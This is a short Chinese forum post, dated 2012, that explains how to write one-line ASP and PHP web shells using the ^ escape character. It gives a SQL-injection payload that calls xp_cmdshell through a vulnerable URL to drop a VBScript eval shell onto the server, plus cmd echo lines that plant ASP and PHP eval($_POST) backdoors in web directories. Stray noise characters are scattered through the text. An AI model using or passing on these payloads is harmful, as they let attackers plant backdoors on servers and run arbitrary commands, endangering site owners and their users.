用^转义字符来写ASP(一句话木马)文件的方法:) f3 Z8 [6 b# i9 ]. N: _
. S. Y' ^% W* m$ ]; D/ w# a
1.注入点后执行 http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--* M: J- p* r, M) ]7 D
W; H4 a" x) m3 s
2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >D:\doc\week6\images\2.asp, r$ v4 }4 O# |8 x7 S+ t2 V2 n% \
% t8 Z* v$ t- k' |8 B/ Z' i" f* H
% K* U) g3 D3 v$ G( w* w; V' Q% EPHP
; \' K7 Y7 {; Fecho ^<^?php eval^($_POST[cmd])?^>>D:\hosting\wwwroot\zlhua_cn\htdocs\1.php |
发表于 2012-9-15 14:52:31
收藏
支持
反对